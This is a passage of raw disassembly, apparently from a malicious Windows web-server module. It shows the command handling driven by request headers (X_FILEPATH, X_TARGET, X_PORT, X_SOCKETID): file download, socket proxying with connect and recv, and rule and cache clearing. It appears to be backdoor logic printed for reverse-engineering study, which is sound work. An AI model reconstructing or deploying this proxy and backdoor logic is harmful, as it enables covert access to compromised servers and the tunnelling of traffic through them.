cmp r8, 8
jb 0x1800040e9
inc r8
mov rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x1d0]
call fcn.180009aa0
cmp qword [rsp + 0x200], 0
je 0x180004408
test r12b, r12b
jne 0x1800043f9
mov qword [rsp + 0x120], r13
mov qword [rsp + 0x128], 7
mov word [rsp + 0x110], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0x110]
call fcn.1800090b0
nop
mov qword [rsp + 0x150], rdi
mov rcx, rdi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea rdx, [rsp + 0x110]
call fcn.180008cf0
mov rbx, rax
mov rcx, rdi
call fcn.180018480
lea rax, [rsp + 0x1f0]
cmp rbx, rax
je 0x18000418e
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x1f0]
mov rcx, rbx
call fcn.180001fd0
nop
jmp 0x180003e43
lea r8, [rsp + 0x210]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1d0]
call fcn.18000c2b0
nop
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.180014a90
nop
mov r8, rax
lea rdx, str.GetFromSource:
lea rcx, [rsp + 0x150]
call fcn.18000c240
mov rcx, rax
call fcn.1800144d0
nop
lea rcx, [rsp + 0x110]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1e8]
cmp r8, 8
jb 0x180004216
inc r8
mov rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x1d0]
call fcn.180009aa0
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x150]
call fcn.180014a90
nop
mov r8, rax
lea rdx, str.X_FORWARDED_HOST:
lea rcx, [rsp + 0x1d0]
call fcn.18000c240
mov rcx, rax
call fcn.1800144d0
nop
lea rcx, [rsp + 0x150]
call fcn.180001c80
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x150]
call fcn.180014a90
nop
mov r8, rax
lea rdx, str.X_FORWARDED_FOR:
lea rcx, [rsp + 0x1d0]
call fcn.18000c240
mov rcx, rax
call fcn.1800144d0
nop
lea rcx, [rsp + 0x150]
call fcn.180001c80
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x150]
call fcn.180014a90
nop
mov r8, rax
lea rdx, str.User_Agent:
lea rcx, [rsp + 0x1d0]
call fcn.18000c240
mov rcx, rax
call fcn.1800144d0
nop
lea rcx, [rsp + 0x150]
call fcn.180001c80
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x150]
call fcn.180014a90
nop
mov r8, rax
lea rdx, str.Referer:
lea rcx, [rsp + 0x1d0]
call fcn.18000c240
mov rcx, rax
call fcn.1800144d0
nop
lea rcx, [rsp + 0x150]
call fcn.180001c80
lea r8, [rsp + 0x210]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1d0]
call fcn.18000c2b0
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xf0]
lea r8, [rsp + 0xb0]
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.180010c90
mov rbx, rax
lea rax, [rsp + 0x1f0]
cmp rax, rbx
je 0x1800043c5
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x1f0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x200], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rcx, [rsp + 0x150]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1e8]
cmp r8, 8
jb 0x1800043f9
mov rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x1d0]
inc r8
call fcn.180009aa0
cmp qword [rsp + 0x200], 0
jne 0x180004699
mov qword [rsp + 0x160], r13
mov qword [rsp + 0x168], socket
mov byte [rsp + 0x150], 0
mov r8d, socket
lea rdx, str.Source_Response_Empty_
lea rcx, [rsp + 0x150]
call fcn.180001d00
lea rcx, [rsp + 0x150]
call fcn.1800144d0
nop
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1c8]
cmp r8, 8
jb 0x180004480
inc r8
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x1b0]
call fcn.180009aa0
mov qword [rsp + 0x1c0], r13
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], r13w
mov r8, qword [rsp + 0x188]
cmp r8, 8
jb 0x1800044c3
inc r8
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x170]
call fcn.180009aa0
mov qword [rsp + 0x180], r13
mov qword [rsp + 0x188], 7
mov word [rsp + 0x170], r13w
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x18000452c
mov rdi, qword [rsp + 0x50]
cmp rbx, rdi
je 0x18000450a
mov rcx, rbx
call fcn.180008bf0
add rbx, 0x40
cmp rbx, rdi
jne 0x1800044f4
mov rbx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.180009460
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov r8, qword [rsp + 0xc8]
cmp r8, 8
jb 0x180004552
inc r8
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0xb0]
call fcn.180009aa0
mov qword [rsp + 0xc0], r13
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], r13w
mov r8, qword [rsp + 0x148]
cmp r8, 8
jb 0x180004595
inc r8
mov rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x130]
call fcn.180009aa0
mov qword [rsp + 0x140], r13
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], r13w
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x228]
cmp r8, 8
jb 0x1800045f1
inc r8
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x210]
call fcn.180009aa0
mov qword [rsp + 0x220], r13
mov qword [rsp + 0x228], 7
mov word [rsp + 0x210], r13w
mov r8, qword [rsp + 0xe8]
cmp r8, 8
jb 0x180004634
inc r8
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd0]
call fcn.180009aa0
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xe8], 7
mov word [rsp + 0xd0], r13w
mov r8, qword [rsp + 0x108]
cmp r8, 8
jb 0x180004677
inc r8
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0xf0]
call fcn.180009aa0
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], r13w
jmp 0x180007118
mov rdx, qword [rsp + 0x200]
lea rcx, [rsp + 0x150]
call fcn.1800022c0
nop
mov r8, rax
lea rdx, str.Source_Response_Len:
lea rcx, [rsp + 0x1d0]
call fcn.18000c240
mov rcx, rax
call fcn.1800144d0
nop
lea rcx, [rsp + 0x150]
call fcn.180001c80
lea rax, [rsp + 0x150]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x160], r13
mov qword [rsp + 0x168], socket
mov byte [rsp + 0x150], 0
mov r8d, 4
lea rdx, str.html
lea rcx, [rsp + 0x150]
call fcn.180001d00
nop
mov qword [rsp + 0x1e0], r13
mov qword [rsp + 0x1e8], socket
mov byte [rsp + 0x1d0], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x1d0]
call fcn.180001fd0
nop
mov r9b, 1
lea r8, [rsp + 0x150]
lea rdx, [rsp + 0x1d0]
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1c8]
cmp r8, 8
jb 0x1800047ac
inc r8
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x1b0]
call fcn.180009aa0
mov qword [rsp + 0x1c0], r13
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], r13w
mov r8, qword [rsp + 0x188]
cmp r8, 8
jb 0x1800047ef
inc r8
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x170]
call fcn.180009aa0
mov qword [rsp + 0x180], r13
mov qword [rsp + 0x188], 7
mov word [rsp + 0x170], r13w
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x180004858
mov rdi, qword [rsp + 0x50]
cmp rbx, rdi
je 0x180004836
mov rcx, rbx
call fcn.180008bf0
add rbx, 0x40
cmp rbx, rdi
jne 0x180004820
mov rbx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.180009460
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov r8, qword [rsp + 0xc8]
cmp r8, 8
jb 0x18000487e
inc r8
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0xb0]
call fcn.180009aa0
mov qword [rsp + 0xc0], r13
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], r13w
mov r8, qword [rsp + 0x148]
cmp r8, 8
jb 0x1800048c1
inc r8
mov rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x130]
call fcn.180009aa0
mov qword [rsp + 0x140], r13
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], r13w
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x228]
cmp r8, 8
jb 0x18000491d
inc r8
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x210]
call fcn.180009aa0
mov qword [rsp + 0x220], r13
mov qword [rsp + 0x228], 7
mov word [rsp + 0x210], r13w
mov r8, qword [rsp + 0xe8]
cmp r8, 8
jb 0x180004960
inc r8
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd0]
call fcn.180009aa0
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xe8], 7
mov word [rsp + 0xd0], r13w
mov r8, qword [rsp + 0x108]
cmp r8, 8
jb 0x1800049a3
inc r8
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0xf0]
call fcn.180009aa0
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], r13w
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
test rbx, rbx
je 0x180004a0c
cmp rbx, r15
je 0x1800049f7
mov rcx, rbx
call fcn.180008bf0
add rbx, 0x40
cmp rbx, r15
jne 0x1800049e1
mov rbx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.180009460
nop
mov r8, qword [rsp + 0xc8]
cmp r8, 8
jb 0x180004a33
inc r8
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0xb0]
call fcn.180009aa0
nop
mov r8, qword [rsp + 0x148]
cmp r8, 8
jb 0x180004a59
inc r8
mov rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x130]
call fcn.180009aa0
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], di
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
jmp 0x180004a91
xor edi, edi
mov r8, qword [rsp + 0x228]
cmp r8, 8
jb 0x180004ab7
inc r8
mov rdx, qword [rsp + 0x210]
lea rcx, [rsp + 0x210]
call fcn.180009aa0
mov qword [rsp + 0x220], rdi
mov qword [rsp + 0x228], 7
mov word [rsp + 0x210], di
mov r8, qword [rsp + 0xe8]
cmp r8, 8
jb 0x180004af9
inc r8
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd0]
call fcn.180009aa0
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], 7
mov word [rsp + 0xd0], di
mov r8, qword [rsp + 0x108]
cmp r8, 8
jb 0x180004b3b
inc r8
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0xf0]
call fcn.180009aa0
mov qword [rsp + 0x100], rdi
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], di
jmp 0x180007118
xor r15d, r15d
mov r14d, r15d
mov qword [rsp + 0x140], r15
mov qword [rsp + 0x148], socket
mov byte [rsp + 0x130], r14b
cmp dword [rsp + 0x40], r15d
je 0x180004bed
mov rdx, rdi
lea rcx, [rsp + 0x1d0]
call fcn.180011b00
mov rbx, rax
lea rax, [rsp + 0x130]
cmp rax, rbx
je 0x180004be0
lea rcx, [rsp + 0x130]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x130], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x140], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], send
mov byte [rbx], r15b
mov r14, qword [rsp + 0x140]
lea rcx, [rsp + 0x1d0]
call fcn.180001c80
mov qword [rsp + 0x1e0], r15
mov qword [rsp + 0x1e8], socket
mov byte [rsp + 0x1d0], 0
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r12 + r8], 0
jne 0x180004c10
mov rdx, r12
lea rcx, [rsp + 0x1d0]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1d0]
call fcn.180008120
mov ebx, dword [rax]
lea rcx, [rsp + 0x1d0]
call fcn.180001c80
add ebx, 0xffffff9b
cmp ebx, 0x12
ja case.0x180004c67.115
movsxd rax, ebx
lea rdx, [0x180000000]
mov ecx, dword [rdx + rax*4 + 0x7154]
add rcx, rdx
jmp rcx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], socket
mov byte [rsp + 0x70], 0
mov r8d, 6
lea rdx, str.stream
lea rcx, [rsp + 0x70]
call fcn.180001d00
nop
lea rdx, [0x180058a38]
lea rcx, [rsp + 0x90]
call fcn.1800145e0
nop
mov r9b, 1
lea r8, [rsp + 0x70]
mov rdx, rax
mov rcx, rsi
call fcn.180011820
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], socket
mov byte [rsp + 0x70], 0
xor r8d, r8d
lea rdx, [0x18004b820]
lea rcx, [rsp + 0x70]
call fcn.180001d00
lea r8, [rsp + 0x70]
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xe8]
cmp r8, 8
jb 0x180004d43
inc r8
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd0]
call fcn.180009aa0
mov qword [rsp + 0xe0], r15
mov qword [rsp + 0xe8], 7
mov word [rsp + 0xd0], r15w
mov r8, qword [rsp + 0x108]
cmp r8, 8
jb 0x180004d86
inc r8
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0xf0]
call fcn.180009aa0
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], r15w
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
call fcn.180014fe0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x110], rax
lea rdx, str.stream
lea rcx, [rsp + 0x70]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0xb0]
call fcn.180014ba0
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
lea rcx, [rsp + 0x170]
lea rdx, [0x18004b820]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
call fcn.180015500
lea rcx, [0x180058aa8]
call fcn.180008330
lea rcx, [0x180058ac0]
call fcn.180008330
lea rax, [rsp + 0x70]
mov qword [rsp + 0x110], rax
lea rdx, str.stream
lea rcx, [rsp + 0x70]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0xb0]
call fcn.180015e20
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
jmp 0x180004e11
call fcn.180008540
lea rdx, str.Proxy
lea rcx, [rsp + 0x70]
call fcn.1800088c0
nop
lea rcx, [rsp + 0x70]
call fcn.180016c80
nop
lea rcx, [rsp + 0x70]
call fcn.180008810
lea rax, [rsp + 0x70]
mov qword [rsp + 0x110], rax
lea rdx, str.Clear_Rules_Success_
lea rcx, [rsp + 0x90]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x70]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x90]
jmp 0x180004e19
call fcn.180008210
lea rax, [rsp + 0x90]
mov qword [rsp + 0x110], rax
lea rdx, str.Clear_Cache_Success_
lea rcx, [rsp + 0x70]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x90]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x70]
jmp 0x180004e19
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.0x180004c67.115
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180001c10
nop
cmp qword [rsp + 0xa0], 0
jne 0x180005068
lea rdx, str.Filepath_can_not_be_empty_
lea rcx, [rsp + 0xb0]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
jmp 0x180004e43
lea rcx, [rsp + 0x70]
call fcn.180001c50
nop
lea r8, [rsp + 0x90]
lea rdx, str.DOWNFILE_
lea rcx, [rsp + 0x170]
call fcn.18000c140
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov r8d, 0x2710
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.180016dd0
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x110], rax
lea rdx, str.stream
lea rcx, [rsp + 0x1b0]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xb0]
call fcn.180008bb0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x1f0]
call fcn.1800022c0
nop
mov r8, rax
lea rdx, str.Read_length:
lea rcx, [rsp + 0xb0]
call fcn.18000c240
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
jmp 0x180004e43
lea rax, [rsp + 0x90]
mov qword [rsp + 0x110], rax
lea rdx, str.enif_smees_llA__syas_groeG
lea rcx, [rsp + 0x70]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x90]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x170]
call fcn.180014900
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.1800145e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.180011820
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
lea rcx, [rsp + 0x1b0]
jmp 0x180004e26
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_TARGET
mov rcx, rdi
call qword [rax + 0x18]
mov rbx, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.X_PORT
mov rcx, rdi
call qword [r9 + 0x18]
mov r15, rax
test rbx, rbx
je case.0x180004c67.115
test rax, rax
je case.0x180004c67.115
mov edx, 1
mov edi, 2
lea r8d, [rdx + 5]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
mov qword [rsp + 0x48], rax
cmp rax, 0xffffffffffffffff
jne 0x1800052db
lea rdx, str.INVALID_SOCKET
lea rcx, [rsp + 0xb0]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, edi
jmp 0x180007127
mov dword [rsp + 0x40], 1
lea r8, [rsp + 0x40]
mov edx, 0x8004667e
mov rcx, r14
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x18000530f
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Set_non_block_mode_error
jmp 0x180005282
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.180001c10
nop
mov word [rsp + 0x150], di
mov rdx, r15
lea rcx, [rsp + 0xb0]
call fcn.180001c10
nop
lea rcx, [rsp + 0xb0]
call fcn.180002220
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x152], ax
lea rcx, [rsp + 0xb0]
call fcn.180001c80
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x154], eax
cmp eax, 0xffffffff
jne 0x1800054e0
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, rax
test rax, rax
jne 0x18000542a
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x170]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Parse_IP_failed_:
lea rcx, [rsp + 0xb0]
call fcn.18000c240
mov r8, rax
xor edx, edx
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, edi
jmp 0x180007127
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ebx, dword [rcx]
cmp word [rdx + 0x10], 2
jne 0x18000546c
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea r8, [rsp + 0x154]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180008b10
jmp 0x1800054e0
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Unknown_address_type
lea rcx, [rsp + 0xb0]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, edi
jmp 0x180007127
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x150]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1800055b5
lea ecx, [rax + 0x65]
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea ecx, [rax - 0x2733]
cmp ecx, 1
jbe 0x1800055b5
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, ebx
lea rcx, [rsp + 0x170]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Socks_connect_error:
lea rcx, [rsp + 0xb0]
call fcn.18000c240
mov r8, rax
xor edx, edx
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, edi
jmp 0x180007127
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x150]
call fcn.1800022a0
mov rbx, rax
lea r8, [0x18004c024]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x210]
call fcn.18000c3a0
nop
mov r8, r15
mov rdx, rax
lea rcx, [rsp + 0x1f0]
call fcn.18000c4a0
nop
lea r8, str.__ErrNo:
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.18000c4a0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.18000c510
nop
lea r8, [0x18004c014]
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.18000c4a0
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x210]
call fcn.180001c80
nop
lea rcx, [rsp + 0x150]
call fcn.180001c80
mov rdx, r14
lea rcx, [rsp + 0x90]
call fcn.1800022c0
nop
mov rbx, qword [rsi]
lea rcx, [rsp + 0x90]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xa0]
lea rdx, str.X_SOCKETID
mov rcx, rsi
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
jmp 0x18000529d
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0x40], rax
test rax, rax
je case.0x180004c67.115
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180001c10
nop
lea rcx, [rsp + 0x70]
call fcn.180002220
movsxd rbx, eax
lea rcx, [rsp + 0x70]
call fcn.180001c80
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, [0x18004b820]
lea rcx, [rsp + 0x90]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0x130]
call fcn.180001c80
nop
lea rcx, [rsp + 0xd0]
call fcn.180008810
nop
lea rcx, [rsp + 0xf0]
call fcn.180008810
nop
lea rcx, [rsp + 0x190]
call fcn.180001c80
mov eax, 2
jmp 0x180007127
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov r12, rax
mov qword [rsp + 0x40], rax
test rax, rax
je case.0x180004c67.115
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180001c10
nop
lea rcx, [rsp + 0x90]
call fcn.180002220
movsxd r14, eax
lea rcx, [rsp + 0x90]
call fcn.180001c80
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x230]
call fcn.18001cf10
lea rcx, [rsp + 0x70]
call fcn.180001c50
nop
mov ebx, r15d
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rsp + 0x230]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
movsxd rdi, eax
cmp edi, 0xffffffff
jne 0x180005982
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x180005970
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x1f0]
call fcn.1800022a0
mov rbx, rax
mov rdx, r12
lea rcx, [rsp + 0x1b0]
call fcn.180001c10
nop
mov r8, rax
lea rdx, str.Read_socket_fd__
lea rcx, [rsp + 0x170]
call fcn.18000c240
nop
lea r8, str.__error:
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.18000c4a0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.18000c510
mov r8, rax
xor edx, edx
mov rcx, rsi
call fcn.180011670
nop
lea rcx, [rsp + 0xb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x170]
